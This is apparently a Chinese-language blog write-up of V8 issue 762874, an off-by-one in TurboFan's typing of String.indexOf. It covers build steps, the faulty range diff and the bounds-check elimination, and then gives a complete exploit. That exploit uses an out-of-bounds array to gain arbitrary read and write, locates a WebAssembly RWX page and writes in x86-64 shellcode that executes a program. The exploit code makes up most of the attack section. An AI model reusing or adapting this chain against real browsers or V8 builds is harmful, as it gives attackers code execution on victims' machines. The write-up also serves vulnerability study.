Issue 762874: Security: off by one in TurboFan range optimization for String.indexOf

git reset --hard d2da19c78005c75e0f658be23c28b473dd76b93b
gclient sync -f
tools/dev/v8gen.py x64.release

编辑 out.gn/x64.release/args.gn

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
ninja -C out.gn/x64.release d8
Javascript indexOf方法

indexof
indexOf() 方法返回调用它的 String 对象中第一次出现的指定值的索引,从 fromIndex 处进行搜索。如果未找到该值,则返回 -1。

分析
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index e04b1fb..251a946 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1453,7 +1453,7 @@
           return Type::String();
         case kStringIndexOf:
         case kStringLastIndexOf:
-          return Type::Range(-1.0, String::kMaxLength - 1.0, t->zone());
+          return Type::Range(-1.0, String::kMaxLength, t->zone());
         case kStringEndsWith:
         case kStringIncludes:
           return Type::Boolean();

将string的length从(-1,kMaxLength-1)改为了(-1,kMaxLength),首先我们需要知道kMaxLength的值,可以通过运行下面的poc来获得
./d8 --allow_natives_syntax

print(%StringMaxLength())


可以看到是10737417992**30-25
我们可以构造这样的场景

这时就可以做到边界的消除,通过turblizer我们也可以看到range确实变成了(0,0)并且也消除了边界检查

接下来的思路就是通过oob来构造任意地址读写,还是老方法用wasm来弹计算器,但是需要注意的是当我们找到rwx的地址之后还需要将该地址+0x60否则会有一个invalid map的错误

exp
var buf = new ArrayBuffer(0x10);
var float = new Float64Array(buf);
var int = new Uint32Array(buf);
function f2i(addr){
    float[0] = addr;
    let tmp = Array.from(int);
    return tmp[0] + tmp[1]*0x100000000;
}
function i2f(addr){
    let tmp = [];
    tmp[0] = parseInt(addr % 0x100000000);
    tmp[1] = parseInt((addr - tmp[0]) / 0x100000000);
    int.set(tmp)
    return float[0];
}
function hex(addr){
    return "0x" + addr.toString(16);
}
function wasm_func() {
    var wasmImports = {
        env: {
            puts: function puts (index) {
                //print(utf8ToString(h, index));
            }
        }
    };
    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
        96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
        116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
        131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
        109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
        128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
        65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
    let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
    let h = new Uint8Array(m.exports.memory.buffer);
    return m.exports.hello;
}

func = wasm_func();
var wasmObjAddr;
var a1,a2,a3,a4,floatArray,obj,objArray,objBuf,objView,tmp_low,tmp_high;
print(i2f(0x100000000000));
function foo(index){
    let x = 'A'.repeat(2**30-25).indexOf("",index);
    let y = x + 25;
    let z = y >> 30;
    let m = z * 9;
    let m1 = z * 18;
    var a1 = [1.1,2.2,3.3,4.4];
    a2 = [1.1,2.2,3.3,4.4,5.5];
    a1[m] = 8.691694759794e-311;
    a1[m1] = 8.691694759794e-311;
    return a1;
    
}
foo(0);
foo(0);
for(let i = 0 ; i < 10000;i++) foo(0);
let oob_array = foo(2**30-25);
var jit = new Function("var a = 0x1234");
obj = {aaaa:"bbbb"};
objArray = [obj];
objArray[0] = func;
var wasmObjAddr = f2i(a2[481]) - 0x1;
print("wasmObjAddr :"+ hex(wasmObjAddr));
objBuf = new ArrayBuffer(0x233);
var obj_dataview = new DataView(objBuf);
a2[619] = i2f(wasmObjAddr + 0x20);
var sharedInfoAddr = f2i(obj_dataview.getFloat64(0,true)) - 0x1;
print("[+] sharedInfoAddr: "+hex(sharedInfoAddr));

a2[619] = i2f(sharedInfoAddr + 0x8);
var rwx_addr = f2i(obj_dataview.getFloat64(0,true)) + 0x60;
print("[+] rwx_addr: "+hex(rwx_addr));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
    96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
    105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
    72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
    72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
    184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
    94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
a2[619] = i2f(rwx_addr);
for(var i = 0;i < 118;i++){
    obj_dataview.setUint8(i,shellcode[i]);
}
func();

你可能感兴趣的:(Issue 762874: Security: off by one in TurboFan range optimization for String.indexOf)